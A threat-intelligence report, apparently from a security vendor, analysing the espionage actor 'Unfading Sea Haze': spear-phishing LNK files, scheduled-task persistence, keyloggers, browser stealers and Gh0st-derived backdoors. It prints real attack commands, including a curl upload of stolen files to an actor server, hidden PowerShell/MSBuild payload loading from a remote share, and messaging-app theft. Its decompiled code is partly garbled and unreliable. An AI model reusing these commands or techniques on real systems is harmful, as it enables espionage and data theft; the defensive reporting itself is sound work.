Deep Dive into the Unfading Sea Haze
A technical look at a threat actor’s ever-evolving tools and tactics
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Overview

Bitdefender researchers investigated a series of incidents at high-level organizations in countries of the South China Sea region, all performed by the same threat actor we track as Unfading Sea Haze. Based on the victimology and the cyber-attack’s aim, we believe the threat actor is aligned with China’s interests.

As tensions in the region rise, they are reflected in the intensification of activity on behalf of the Unfading Sea Haze actor, which uses new and improved tools and TTPs.

We noticed multiple times that the actor was regaining access to the victim’s systems either because of improper credential hygiene or because of bad patching strategies of the edge devices and exposed web services. Thus, this publication intends to raise awareness of the importance of respecting essential best practices that ensure security and to share with the community information that could help detect and disrupt Unfading Sea Haze’s espionage activities.

Key findings

↳ The Unfading Sea Haze impacted at least 8 military and government organizations, a threat actor that has been active at least since 2018.

↳ One of the infection vectors used by Unfading Sea Haze is spear phishing with zip archives containing lnk deploying SerialPktDoor backdoor.

↳ The tools of choice for Unfading Sea Haze’s post-compromise activity are .net payloads sharpJsHandler and SerialPktDoor and two variations of the Gh0stRat—EtherealGh0st and FluffyGh0st—which evolved from two other old variants, TranslucentGh0st and SilentGh0st, used by the threat actor since at least 2018.

↳ The actor uses the legitimate RMM, presumably as a backup access point into the victim’s network.

↳ The aim of the activity is espionage, the actor presenting an interest in doc, docx, pdf, txt, and ppt files, also targeting browser data and cookies, and exfiltrating Telegram, Viber, and other messaging app files.

Technical details

Our investigation into the Unfading Sea Haze activity started back at the end of 2021 – beginning of 2022 when investigating an incident involving exfiltration of data over FTP using curl utility:

```
curl -C - ftp://139.180.221.[.]55:80/ -u admin:EH3FqtECXv152 -T c:\windows\addins\fs.tmp
```

We started looking for similar attempts of exfiltration with curl over FTP, and the instances we identified share a few similarities, such as the re-use of the credentials for FTP authentication - `admin:EH3FqtECXv152`, which was a strong indicator that we are dealing with the same threat actor. This was later proven to be true based on multiple other artifacts. Interestingly, the same IP address of the FTP server noticed initially led us to conclude that the exact moment when the curl command line was executed corresponded to a shift in the actor’s exfiltration technique. The Unfading Sea Haze used the same IP address (as well as many others) with the help of a custom tool for moving data from the victim to the attacker’s-controlled infrastructure prior to starting using Curl and FTP for exfiltration.

Given the specific information targeted by the attackers, it suggests they are likely state-sponsored. Their primary objective appears to be espionage aimed at understanding strategies for handling escalating conflicts in the South China Sea region.

As of the initial detection of the threat actor’s activity, we have thoroughly been monitoring various file sources and telemetry. This effort has allowed us to gain a strategic overview of the collection of Tactics, Techniques, and Procedures (TTPs) utilized by Unfading Sea Haze, with several of them observed in the wild. An identifiable trait of the threat actor is their practice of testing new samples in a controlled environment prior to utilizing them in real-life situations. This approach has allowed for a glimpse into the attacker’s extensive arsenal of tools and helped us gain insight into their objectives.

Infection vector

The initial access method used on the identified victims remains unknown, presumably occurring at a much earlier stage, rendering forensic evidence unhelpful. The actor managed to remain concealed and maintain access for an extended period.

However, at least one method of initial access was possible to uncover: the utilization of spear-phishing emails containing archives with LNK files set to execute malicious commands.

The LNK files with subsequent command lines were obtained after the attackers executed them in a test environment against a Bitdefender solution. This was done to assess the effectiveness of the malicious archives in evading defense mechanisms. The table
below summarizes these attempts:

<table>
<thead>
<tr>
<th>Time of attempted execution</th>
<th>Zip and Link</th>
<th>Lnk command line</th>
</tr>
</thead>
<tbody>
<tr>
<td>2023-03-28 07:40:43Z</td>
<td>SUMMARIZE SPECIAL ORDERS FOR PROMOTIONS CY2023 (2).zip</td>
<td>&quot;C:\Windows\System32\cmd.exe&quot; ;At Ring, we believe that stronger communities are the key to safer neighbourhoods. Our suite of innovative whole-home security products is making that mission a reality. We believe that stronger communities are the key to safer neighbourhoods.;/c tasklist</td>
</tr>
<tr>
<td>2023-04-03 07:32:32Z</td>
<td>data.zip\data.lnk</td>
<td>“C:\Windows\System32\cmd.exe” ;Learn English online and improve your skills through our high-quality courses and resources all designed for adult language learners. Everything you find here has been specially created by the British Council;/c tasklist</td>
</tr>
<tr>
<td>2023-04-03 07:54:33Z</td>
<td>doc.zip\doc.lnk</td>
<td>“C:\Windows\System32\cmd.exe” ;Learn English online and improve your skills through our high-quality courses and resources all designed for adult language learners. Everything you find here has been specially created by the British Council;/c tasklist</td>
</tr>
<tr>
<td>2023-04-03 08:06:22Z</td>
<td>doc.zip\doc.lnk</td>
<td>“C:\Windows\System32\cmd.exe” ;Learn English online and improve your skills through our high-quality courses and resources all designed for adult language learners. Everything you find here has been specially created by the British Council;/c tasklist</td>
</tr>
</tbody>
</table>
The common feature of all the command lines in the lnk files is the use of long strings as comments used to evade detection.

It was possible to download the payload from [159.223.78.147/Recorded.log](159.223.78.147/Recorded.log) URL and its analysis revealed that it is a script that intends to load the .NET assembly 79da81e35600e3d9ec793537d04920c8 and to invoke its Main function as follows:

```
GetMethod("Main").Invoke(null,new object[]{new string[]{"MTQvMWUwYTZkYjg0M2MvYjdhMC9jL2M2M2QxZDVkMWU=","95327","anBfYStwaXJqX2wrYGxq","320","3116"}})
```

The analysis of the 79da81e35600e3d9ec793537d04920c8 assembly concluded that it is a backdoor seen in the wild internally known as **SerialPktdoor** – described in more detail in the following sections.

In March 2024, new artifacts related to archives used for the initial access were observed.

The archive names were either related to the installation process of Microsoft Defender or related to the US political subjects:

- `install microsoft defender web protection.zip`
- `start windowsdefender.zip`
- `Wlndovvs Deffender User Guide Document.zip`
- `barack obama's tenure as the 44th president of the united states.zip`
- `Presidency of Barack Obama.zip`
- `Assange_Labeled_an_'Enemy'_of_the_US_in_Secret_Pentagon_Documents102.zip`

The lnk file is set to execute a PowerShell command line similar to the one bellow or the base64 encoded representation of it:

```
C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -w Hidden -c "net use http://loadviber.webredirect[.]org;Start-Process -WindowStyle Hidden -WorkingDirectory \"\154.90.34[.]83\exchange\info C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"
```

By setting the current directory to that share location, MSBuild.exe executes the payload from a found file with the extension “proj”.

In one instance, the PowerShell command line from the lnk contained a large comment used as an attempt to evade detection:

```
"Barack Obama's tenure as the 44th president of the United States began with his first inauguration on January 20, 2009, and ended on January 20, 2017. Obama, a Democrat from Illinois, took office following his victory over Republican nominee John McCain in the 2008 presidential election."
```

A more complex approach of delivery of the payload was noticed in an archive named “(U)_Summary_Complaint_Report001.zip” where the “(U)_Summary_Complaint_Report.lnk” is set to execute the following command line:
The path of the "\(U\)_Summary_Complaint_Report.lnk" file from the temp folder is found and then, from fixed positions within the lnk file two buffers are written to disk as "\(U\)_Summary_Complaint_Report.jpg" and "New_Text_Document_jpg_012.log". Next action is to call c:\w*\t*4\v4\*d.*e "$Z", which in fact will execute C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe having the path to "New_Text_Document_jpg_012.log" as a parameter.

The actual payload is very likely to reside in \(U\)_Summary_Complaint_Report.jpg.

A similar command line is contained in another lnk file Pub_Jan_28_2009_Order_Regarding_Prelim_Notice_of_Compliance.lnk from the archive Pub_Jan_28_2009_Order_Regarding_Prelim_Notice_of_Compliance100.zip. On one affected machine, we found traces of the execution of malicious tools that suggest the abuse of Apache httpd.exe, indicating that exploiting web services might also be a preferred means of victim compromise.

**Persistence**

The threat actor prefers using scheduled tasks for persistence of its malicious tools as it’s the most used mechanism observed in almost every operation. A list of scheduled task names is presented below:

```
update
brotherprtdrv
microsoftupdate
synchronizetime222
microsoft\windows\wmiprvse
microsoft\windows\devicesflow
microsoft\windows\prod
microsoft\windows\coint
microsoft\adobeupdate
\microsoft\windows\setlwansvc\mscorsvw
\microsoft\windows\appxdeploymentclient\proactivescan
\microsoft\windows\textservicesframework\synchronizetime222
\microsoft\windows\clipsetup\clipsvc
\microsoft\windows\connection\netsync
\microsoft\windows\services\servermanager
```

Interestingly, the names of the tasks, in many cases, reflect the filename of the legitimate executables abused for sideloading. This is illustrated, for example, by the tasks \microsoft\windows\clipsetup\clipsvc and \microsoft\windows\setlwansvc\mscorsvw that are set to execute clipsvc.exe and mscorsvw.exe. The threat actor is aware of what software is running on the victim’s system and usually copies the legitimate binaries abused for sideloading directly from the legitimate location. In one instance, the malicious DLL file c:\\ProgramData\\Microsoft\\ServerManager\\Events\\msftedit.dll was loaded with a legitimate copy of mspaint.exe copied from the legitimate location:
Another similar pattern is observed with the tasks `microsoft\windows\prod` and `microsoft\windows\coint` which were set to load the DLLs prod.dll and cout.dll with the utility `regsvr32.exe`.

Valid Accounts is another technique the threat actor employs to keep access to key systems. Besides the credentials of domain administrators obtained post-compromise, there were attempts to enable the local Administrator account and reset its credentials. After password reset, usually followed setting the registry key value “Administrator” to 0 for the key `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList`, action that intends to hide the user from Welcome Screen. Only two passwords for Administrator account set by the threat actor were noticed during the investigation – `D0ueqw0A_63dJJ` and `UxxUtZBcM_x8gSb6IHWvp`.

Because of the use of such techniques, it is very difficult to block the threat actor from regaining access as it is very hard to identify abuses of legitimate accounts and to remediate the situation.

Another technique used by *Unfading Sea Haze*, which is usually used by financially motivated threat actors and rarely seen employed by state sponsored threats is the use of RMM tools. In this case, the threat actor opted for **iTarian** RMM.

The **iTarian** RMM has been part of the attacker’s arsenal since September 2022. The installer is downloaded using curl directly from the URL generated from the official site, and then it is remotely copied to the target systems and executed. The curl utility is usually used by malicious agents present on one of the victim’s systems. In one instance, the EtherealGh0st backdoor is suspected of being used for **iTarian** installation.

Here are two URLs where the installer was downloaded from:

1. https://ppvrd.itsm-us1.comodo[.]com/download/win/communication_client/latest/em_bxqqjkvv_installer.msi -o em_bxqqjkvv_installer_Win7-Win11_x86_x64.msi

In mid-December 2023, new TTPs were employed by *Unfading Sea Haze* for remote execution and supposedly for persistence of the malicious tools, suggesting that maintaining its espionage operation is of high priority and that the threat actor can adapt to the improved defenses and can keep a stealthy posture inside the victim’s network. The new approach was to use a legitimate tasks of payloads named hidserv.dll were identified – `c:\\ProgramData\\Microsoft\\ServerManager\\Events\\ServerManager.exe` which were set to change on victim. It is possible, though, that the service is started manually from another infected system as indicated by a recovered executableservicemove64.exe (md5: 9425f9f7cc393c492deb267c12d031c5) - a tool that given a hostname at the command line and an architecture type (x86 or x64) it will write the `%SYSTEM%\perceptionsimulation\hid.dll` service.

Interestingly, the default startup type for this service is set to Manual and it wasn’t possible to establish if the startup type was changed on victim. It is possible, though, that the service is started manually from another infected system as indicated by a recovered executableservicemove64.exe (md5: 9425f9f7cc393c492deb267c12d031c5) - a tool that given a hostname at the command line and an architecture type (x86 or x64) it will write the `%SYSTEM%\perceptionsimulation\hid.dll` file on the target and will start "perceptionsimulation" service.

The responsibility of the malicious loader hid.dll is to load another DLL file called hidserv.dll. Among the collected artifacts, two types of payloads named hidserv.dll were identified – **EtherealGh0st** and the **xkeylog** malware.

There are also artifacts suggesting that during 2019, the threat actor tampered with the Default Domain Policy of one of the victims to spread multiple malware components. The malicious DLL file was located at `\sysvol\<domain>\policies\{31b2f340-016d-11d2-945f-00c04fb984f9}\machine\applications.dll`. All collected samples correspond to three different malware tools:

| 8c31532f73671995d7f3b6d5814ba726 | Ps2dllLoader having as payload the .net assembly 0dd4603f7c3a80a2408e458fe58b2e60 which is **InsidiousGh0st** implemented in c# |
| 55a246aace9630b31c43964ebd551e5e2 | FluffyGh0st |
| 11c7f264184ed52df4a3836a623845c8 | TranslucentGh0st |

There are malicious traces indicating that the actor might persist on web servers, both Windows IIS and Apache httpd, using either web shells or malicious IIS modules and httpd modules. Although multiple forensic artifacts were collected, no conclusive results were obtained regarding the exact mechanism for persistence due to missing information.
Data Collection

The analysis of the collected artifacts suggests the aim of the attacks is espionage. Among the tools specifically crafted to perform data collection are the *xkeylog* tool, a browser data stealer and a Windows Portable Device monitor tool. Although these tools give the attacker access to significant information, much of the data collection was performed manually using *rar.exe*, and the indications about the files of interest were given as command line parameters.

The *xkeylog* keylogger, named after its very frequent export name, can collect keystrokes on the target machine. It was identified in many forms, such as DLL files and shellcode payloads. Examples of locations where the *xkeylog* tool was encountered are:

- `c:\windows\setup\cert.dll`
- `c:\windows\cursors\curs.cur`

The DLL files were loaded using *regsvr32.exe* and the shellcodes containing the *xkeylog* were executed through various means, one of them being via *perceptionssimulation* service.

The keylogger monitors the keystrokes and the clipboard content and writes the information to a file, the location of which is hardcoded in the binary under a simple encryption with a chain of one-byte XOR with 0x44 followed by an ADD with 0x55. The observed files for storing the logged content are:

- `C:\ProgramData\Microsoft\DRM\server.xml`
- `%appdata%\Microsoft\SystemCertificates\My\Certificates\cert.dat`
- `%appdata%\Microsoft\IME\Dict.dat`

Although used mostly during 2019, the analyzed browser data collector is a relevant piece of tooling demonstrating the attacker’s vast arsenal. Not only the tool itself but also the loader used to execute the tool is of interest as it was used for executing at least one more tool – a network scanner that continues to be used by the attackers. The loader uses the hardcoded key “xyz123xyz” and an implementation of AES with dynamically generated SBOX to decrypt the payload, followed by an aplib decompression before loading the PE executable into the memory.

Once loaded in memory and executed, the browser stealer checks for the provided command line arguments to perform the necessary actions – parsing the browser’s internal database files for extracting useful information such as cookies. The accepted parameters are contained in this string - " *cfieo:p:C:E:W:P:*" - indicating what type of browser the tool should target and what file to save the output to. The analysis showed that it is capable of extracting cookies from chrome, firefox, iexplorer and msedge and can parse the msie_webcache, if *W* parameter is given with the concrete .dat file to parse. Here are a few command lines used in the wild by the threat actor:

- `-c -o ll.txt`
- `-c -o c.txt`
- `-c -o cccc.txt`
- `-c -o list.log`
- `-f -o list.log`
- `-f -C C:\\Users\\<redacted>\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\x04r8ytk.default-1538443044291\\cookies.sqlite" -o f.txt`
- `-clf -o c:\\intel\\logs\\c.txt`
- `-W WebCacheV01.dat`

Another interesting piece of malware encountered during the investigation was a tool that monitors USB and Windows Portable Device insertion. Found at `c:\\users\\<user\\appdata\roaming\mscorsvc.dll (7e10d7dd09f5ee2010990701db042f11)`, the monitoring tool is loaded via side-loading. After its execution, every 10 seconds it checks if there was a Windows Portable Device mounted, and if so, a http GET request to the following URL is issued to notify the attackers about the event:

```
http://139.180.216[,]33/ico/error/?<computer name>%20<device manufacturer>%20<device model>%20<device friendly name>
```

Information about the event is logged in the file `%appdata%\Microsoft\SystemCertificates\My\Certificates\log\mtp` with the following format:

```
<computer name> <device manufacturer> <device model> <device friendly name>(timestamp when the device was identified)
```

Then, an extensive file listing of the device starts and information about the files is logged in the file...
%appdata%\Microsoft\SystemCertificates\My\Certificates\log\<device manufacturer>_\<device model>_\<device friendly name>_\timestamp, containing the path, the last modification time, and the size of each file, one per line.

The sample’s analysis shows that the code dealing with the Windows Portable Device was adapted from public repositories based on code similarity and on strings such as “WPD Sample Application” found in the binary.

The tool also monitors the insertion of regular USB drives, waiting for DEVICECHANGE events with wparam set to WM_APP and lparam set to DBT_DEVTYP_VOLUME. A similar http GET request is performed to the same URL, followed by a listing of the device and logging information about encountered files.

None of the tools described perform exfiltration, meaning that this task is performed manually by the threat actor.

There are multiple indicators of the collection process and what information is of interest for the threat actor.

For instance, the threat actor looks for files by extension with rar.exe utility, indicating at the command line to accept only files with a given extension that were modified after a date. Similar commands were used to collect files from remote systems, using valid credentials and “net use” command prior to issuing the rar.exe command. The resulting archive is password-protected and is exfiltrated once the collection process is done. Examples of command lines are:

```
%temp%\24D0.tmp “a” “-m2” “-hpGX1gr85QeloIMy6ceVisdd” “-tal[20230501]” “-n*.txt” “-n*.pdf” “-n*.xls” “-n*.xlsx” “-n*.doc” “-n*.docx” “-n*.ppt” “-n*.pptx” “-r” “fd11.dat” “-G:\”
```

```
%temp%\70F1.tmp “a” “-m2” “-hpGX1gr85QeloIMy6ceVisdd” “-tal[20230602]” “-n*.txt” “-n*.pdf” “-n*.xls” “-n*.xlsx” “-n*.doc” “-n*.docx” “-n*.ppt” “-n*.pptx” “-r” “fd11.dat” “C:\Users\<redacted>\Desktop” “C:\\Users\<redacted>\Downloads” “C:\Users\<redacted>\Documents” “C:\Users\<redacted>\dropbox” “D:\” “E:\” “F:\” “C:\$RECYCLE.BIN”
```

The collected and staged files are then exfiltrated using malicious agents, via specialized tools or by uploading the data on ftp with the curl utility.

Besides the Word documents and pdf files, the threat actor also collected files related to messaging apps such as Telegram and Viber. The collection starts by terminating the telegram.exe and viber.exe processes to access the files that otherwise would be locked. Then, the corresponding rar.exe command is issued to archive the files:

```
%temp%\1B33.tmp “a” “-hpmjAh40voLRZ9vQ4aA13g” “t.dat” “5AA06F1247B514D3s” “8FE2EB2CF0DCF000s” “A7FDF864FBC10B77” “A7FDF864FBC10B77” “D877F783D53EF8C” “D877F783D53EF8C” “F032C622FB5644ACs” “key_data” “-df” “move “c:\users\<redacted>\AppData\Roaming\Telegram Desktop\tdata\*” C:\programdata\log1\C4B5.tmp “a” “-hpmjAh40voLRZ9vQ4aA13g” “v.dat” “*db*” “639457583638\*db*”
```

A new tool for browser data collection emerged in March 2024 – a Powershell script embedded in a Ps2dllLoader sample was identified. Its purpose is to parse the Chrome internal files and to extract sensitive information:

```
Get-Content -Path C:\programdata\local\Chrome\ChromeUser Data\Local Stats
Add-Type -AssemblyName System.Security
Path = “C:\Users\<redacted>\AppData\Local\Google\Chrome\User Data\Local Stats”
SaveRawFile -Path “C:\Users\<redacted>\AppData\Local\Google\Chrome\User Data\Local Stats”
```

A similar script targeting the Edge browser also exists.
Data exfiltration

After an extensive analysis of the artifacts collected during the investigation, we concluded that the exfiltration process during the period **2018-03-01 -- 2022-01-20** was performed using a custom tool we refer to as **DustyExfilTool**. Starting with 2022, the attackers shifted away from using the tool to using the curl utility to exfiltrate the data on an FTP server.

**DustyExfilTool** is a command line tool that, simply put, accepts a file path and server IP address and port and will send the file to that server. Internally, the tool uses TLS over TCP to communicate with the server and sends the following format for a particular file:

```
<content size in little endian, 8 bytes><file path, 64 bytes><content>
```

Here are a few details about the accepted parameters:

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>-r</td>
<td>Indicates the port used to bind to 0.0.0.0. This parameter will make the tool act like a server, meaning it will accept TLS connections and will receive file from the remote client.</td>
</tr>
<tr>
<td>-c</td>
<td>This option makes the tool to show more status messages if used in combination with -r option</td>
</tr>
<tr>
<td>-f</td>
<td>Indicates the file path that should be sent to the server</td>
</tr>
<tr>
<td>-s</td>
<td>Indicates the ip address and port of the server</td>
</tr>
</tbody>
</table>

DustyExfilTool will send the file as a packet formatted as previously described on both client and server side. Although a few variations were found, the functionality stays consistent.

A list of FTP IP addresses compiled from the telemetry and other sources is:

<table>
<thead>
<tr>
<th>IP</th>
<th>Time of use as upload server</th>
<th>IP</th>
<th>Time of use as upload server</th>
</tr>
</thead>
<tbody>
<tr>
<td>45.32.125.175</td>
<td>2019-03-14</td>
<td>95.216.63.45</td>
<td>2019-10-08</td>
</tr>
<tr>
<td>146.185.136.221</td>
<td>2019-03-22</td>
<td>95.175.110.179</td>
<td>2019-10-23</td>
</tr>
<tr>
<td>167.99.222.58</td>
<td>2019-03-27</td>
<td>185.140.55.97</td>
<td>2019-10-29</td>
</tr>
<tr>
<td>185.244.130.34</td>
<td>2019-03-29</td>
<td>94.140.125.11</td>
<td>2019-10-30</td>
</tr>
<tr>
<td>91.235.143.251</td>
<td>2019-04-03</td>
<td>94.140.114.223</td>
<td>2020-02-11</td>
</tr>
<tr>
<td>185.244.129.60</td>
<td>2019-04-10</td>
<td>145.249.107.75</td>
<td>2020-02-11</td>
</tr>
<tr>
<td>185.195.237.114</td>
<td>2019-04-25</td>
<td>94.140.114.72</td>
<td>2020-02-11</td>
</tr>
<tr>
<td>185.198.57.135</td>
<td>2019-05-16</td>
<td>185.82.126.195</td>
<td>2020-02-12</td>
</tr>
<tr>
<td>95.216.63.54</td>
<td>2019-07-19</td>
<td>193.37.212.97</td>
<td>2020-02-18</td>
</tr>
<tr>
<td>152.89.161.26</td>
<td>2019-09-10</td>
<td>45.153.241.111</td>
<td>2020-05-07</td>
</tr>
<tr>
<td>194.5.250.54</td>
<td>2019-09-25</td>
<td>139.180.221.55</td>
<td>2022-01-20</td>
</tr>
</tbody>
</table>

Starting with 2022-01-20, the threat actor switched from **DustyExfilTool** to curl and exfiltration over FTP. The first attempt of exfiltration with curl used the **admin:EH3FqtECXv152** credentials as in the following command line:

```bash
curl -C - ftp://139.180.221[.]55:80/ -u admin:EH3FqtECXv152 -T c:\windows\addins\fs.tmp
```

Starting with 2023, the user and password for ftp server were changed more often and both the user and password look randomly generated. A list of observed IP addresses used for exfiltration is presented below:

<table>
<thead>
<tr>
<th>IP</th>
<th>Time of use as ftp server</th>
</tr>
</thead>
<tbody>
<tr>
<td>142.93.80[.]236</td>
<td>2023-06-20</td>
</tr>
<tr>
<td>143.198.80[.]75</td>
<td>2023-06-09</td>
</tr>
<tr>
<td>68.183.185[.]80</td>
<td>2023-03-24</td>
</tr>
<tr>
<td>206.189.153[.]85</td>
<td>2023-03-17</td>
</tr>
<tr>
<td>165.232.84[.]56</td>
<td>2023-03-16</td>
</tr>
<tr>
<td>165.22.104[.]184</td>
<td>2023-02-22</td>
</tr>
<tr>
<td>139.59.61[.]42</td>
<td>2022-12-27</td>
</tr>
<tr>
<td>178.128.19[.]134</td>
<td>2022-11-02</td>
</tr>
<tr>
<td>139.180.221[.]55</td>
<td>2022-01-20</td>
</tr>
</tbody>
</table>
Malware dissection

The **Unfading Sea Haze** threat actor developed a complex arsenal of malicious agents and tools and in this section, we intend to shed light on the most used components.

At least since 2018, the threat actor has mostly used three types of malicious agents: SilentGh0st, TranslucentGh0st, and three flavors of the .net agent *SharpJSHandler*.

Starting in 2023, multiple new malicious components started to be deployed on victims in place of the old ones, probably to minimize the probability of detection. And so, the EtherealGh0st, InsidiousGh0st, Serialpktdoor, and a few more tools were embedded into the actor’s operations.

The Ps2dllLoader, a loader used to load the .net malware in memory using a combination of .net and PowerShell features, seems to be replaced by a new mechanism of loading the .net payloads using msbuild.exe and C# payloads that use Microsoft.Build.Utilities. Task to load and execute the agents.

The most recent development in delivery of the .net agents is reflected in the sample msdoc.exe (md5:124bdaaa70da4daaeacbc0513b6c0558e) that decrypts the smb path `\154.90.34[.]83\exchange\info` and intends to create a process of `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe` giving it the smb path as argument so that the msbuild.exe will list the remote folder in order to find a csproj file to load. With the help of such executables, the threat actor will no longer need to store the C# payload that loads the agent on disk.

In the following section, technical details about the malicious agents used by Unfading Sea Haze are presented.

Hunting for the Gh0st army

All the malware families encountered during the investigation, although different, have some common characteristics with the Gh0stRat family. Besides code similarity, a few samples have RTTI information and strings, making the comparison easier. Here are a few byte sequences related to the known classes that the Gh0stRat uses and that were found in samples used by Unfading Sea Haze:

```plaintext
.?AVCKernelManager@@
.?AVCClientSocket@@
.?AVCPluginManager@@
.?AVCManager@@
.?AVCInteractivShellS@@
.?AVCShellExManager@@
```

Besides that, the main function of the executable of the Gh0st family has a common pattern of starting two threads consecutively which makes the identification easier.

Based on file attributes of the collected samples, we established an approximative timeline of usage of the tools:

![Timeline Diagram](image)

**EtherealGh0st**

The execution of the EtherealGh0st agent starts with the decryption of c2 addresses and ports, which are base64 encoded strings. After decoding, a SUB 6 operation is performed on the resulting buffer, and the c2 and port are passed down to establish the connection. Although the port is also encoded, it always has the same value, “Ojo5,” which corresponds to 443 after decryption. Here are a few domain and IP addresses extracted from the collected artifacts:

<table>
<thead>
<tr>
<th>Domain/Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>bit.kozow.com</td>
</tr>
<tr>
<td>mail.pcygphil.com</td>
</tr>
<tr>
<td>mail.bomloginset.com</td>
</tr>
<tr>
<td>188.166.224.242</td>
</tr>
</tbody>
</table>
The execution continues with the initialization of the structure `CCoreManager`. `StartWorkThread` parses the C2 address in case the decrypted string contains multiple comma-separated addresses. Then, the connection to the C2 is established using TLS over TCP. This process also includes an authentication in which the agent and the server exchange a few messages of 12 bytes, and one of the criteria is that the first 4 bytes contain "CC\0\0", after which the Shell function is invoked.

```c
void _fastcall _noreturn ____________ (char *port, char *c2_addresses)
{
    char core[1072];  // [rsp+30h] [rbp-448h] BYREF
    CCoreManager::CCoreManager((CCoreManager *)core, port, c2_addresses);
    CCoreManager::StartWorkThread((CCoreManager *)core);
    //
}
```

The Shell function will receive strings from the C2 that will be passed to `CCoreManager::ShellExecuteA` function that will interpret the command accordingly:

```c
__int64 __fastcall CCoreManager::Shell(char *lpThreadParameter)
{
    char Buffer[304];  // [rsp+28h] [rbp-148h] BYREF
    memset(Buffer, 0, 296);
    while ( (unsigned int)CClientSocket::GetCmdLine(
            (CClientSocket *)(lpThreadParameter + 264),
            (unsigned __int8 *)Buffer, 296)
        & (unsigned int)CCoreManager::ShellExecuteA((CCoreManager *)lpThreadParameter, Buffer) )
    {
        sub_1800010C(6 + _DWORD_18005F476, *((_QWORD *)lpThreadParameter + 35));
        CClientSocket::Disconnect((CClientSocket *)(lpThreadParameter + 264));
        return 1164;
    }
}
```

The accepted commands are `exit`, `quit`, `uninstall`, `exitex` and `plugin` as follows from the image:

```c
__int64 __fastcall CCoreManager::ShellExecuteA(CCoreManager *this, char *Buffer)
{
    char String[272];  // [rsp+20h] [rbp-208h] BYREF
    char Filename[272];  // [rsp+170h] [rbp-128h] BYREF
    memset(String, 0, 260);
    sscanf(Buffer, "%s", String);
    if ( (strcmp(String, "exit")) )
        return CClientSocket::SendMessage(((CCoreManager *)this + 264), "%s", (const char *)this);
    if ( strcmp(String, "exit") && strcmp(String, "quit") )
    {
        if ( (strcmp(String, "uninstall")) )
            {
                memset(Filename, 0, 260);
                GetModuleFileName(gModule, Filename, 0x104);
                sub_180000FEC(16 + _DWORD_18005F476);
                else if ( strcmp(String, "exitex") )
                {
                    if ( (strcmp(String, "plugin"))
                        (CCoreManager::ShellAction(this, 0x604));
                    else
                        CClientSocket::SendMessage(((CCoreManager *)this + 264), "%s", (const char *)this);
                        goto Label_32;
                }
                else
                    sub_18000260C(16 + _DWORD_18005F476);
                Label_32:
                CClientSocket::SendMessage(((CCoreManager *)this + 264), "%s", (const char *)this);
                return 1164;
            }
        return 0164;
    }
```
The exit commands will stop the agent from running and the uninstall command will execute the following command:

```
"cmd /c sc query <service>&&net stop <service>&&sc delete <service>&ping 127.0.0.1 -n 5&del /a /f "<file path>"
```

All the functionality EtherealG0st has is implemented by the plugin command. After receiving such a command, a new connection to the C2 will be established and in a new thread the new subcommands will be interpreted accordingly:

```
int __fastcall cCoreManager:PluginThread([cClientSocket *this])
{
    char v2[208]; // [rsp+080] [rip-260H] BYREF
    unsigned __int 8 v4[304]; // [rsp+108] [rip-140H] BYREF
    IDisposable:WaitHandle:WaitHandle((Concurrency::detail::WaitHandle *)v4, CCoreManager::m_pThis);
    sub_10000010(c2, this);
    while ((unsigned int)cCoreSocket::GetC2Line(this, v4, 292) && (unsigned int)sub_18000470(v4, v2))
    {
        sub_10000014(v4);
        return 0164;
    }
}
```

The supported subcommands are QUIT, SIZE, STOR and BIT:

- **QUIT command** will make the thread execution stop.
- **BIT command** sends back an int value – probably a heartbeat.
- **SIZE command** returns information about the available plugins.

```
int __fastcall sub_10000470([cClientSocket *this, int edx])
{
    const char *v3; // [esp+080] [rip-40H] BYREF
    char a2[272]; // [rsp+080] [rip-288H] BYREF
    char Buffer[272]; // [rsp+140H] [rip-40H] BYREF

    memset(a2, 0, 268);
    memset(Buffer, 0, 268);

    if (v3)
    {
        snprintf(Buffer, 8x104x164, "%s", v3);
        if (compare(a2, "QUIT"))
        {
            cClientSocket::SendStatus(a2, 0);
            return 0164;
        }
        if (compare(a2, "SIZE"))
        {
            sub_10000421c([__int4]a2, Buffer);
        }
        else
        {
            if (compare(a2, "STOR"))
            {
                sub_1000055f8(a2);
                return 0164;
            }
            if (compare(a2, "GIT"))
            {
                sub_100004f0c(a2);
                return 1164;
            }
        }
    }
}
```

STOR command receives a PE executable that will be loaded in memory, representing the plugin itself. A new connection to the C2 will be made and the `Main` export of the loaded PE executable will be invoked:
The TLS encryption is performed by OpenSSL which is embedded into EtherealGh0st. Interestingly, all the samples use the OpenSSL 0.9.8zg 11 Jun 2015, except for a recently obtained sample 00bcbeb6ffdadc50a931212eff424e19 that uses the version OpenSSL 1.1.1w 11 Sep 2023, meaning that an update of the tool was made in 2023-12-06 based on the compile time and file attribute of the agent.

TranslucentGh0st

The analysis and comparison of EtherealGh0st and TranslucentGh0st showed that TranslucentGh0st is the predecessor of the EtherealGh0st. The difference between these two is that TranslucentGh0st uses byte constants to determine the command to interpret.

The c2 address is base64 encoded and encrypted with a byte-XOR with 0x28 and SUB 0xC. The port is hardcoded into the binary in plain. All the obtained samples use the domain mail.simpletra[.]com as C2 and port 443.

Communication with the C2 is realized over TCP without any encryption.
The Run method will establish a connection to the C2 and an instance of CKernelManager is created that exposes the method OnReceive that interprets the command constants – the value 0x27 is the equivalent of the uninstall command of the EtherealGh0st and the value 0xb9 is the equivalent of the plugin command:

```
Old __fastcall CKernelManager::OnReceive(KernelManager *this, const char *s2)
{
    _QWORD *v1; // rx
    _QWORD *v5; // s9
    CHAR *Filename[272]; // [rsp+4A0h] [rbp-128h] BYREF

    if (*s2)
    {
        switch (*s2)
        {
            case 0x27:
                menuSet(Filename, 0, 268);
                GetModuleFilename(gModuleName, Filename, 0x104u);
                sub_18800000C9({(int)s}Run_18800000D0, {__int64}Filename);// uninstall
                ExitProcess(0xffffffff);
                case 0xb9:
                    CKernelManager::SetGroup(this, s2 + 1);
                    break;
                case 0x3F:
                    ExitProcess(0xffffffff);
                    default:
                        if (*((unsigned __int8 *)s2) == 0xb9)
                        {
                            v4 = operator new(0x18u64);
                            v3 = v4;
                            if (v4)
                                {
                                    *v4 = 0x64;
                                    v4[1] = 0x04;
                                }
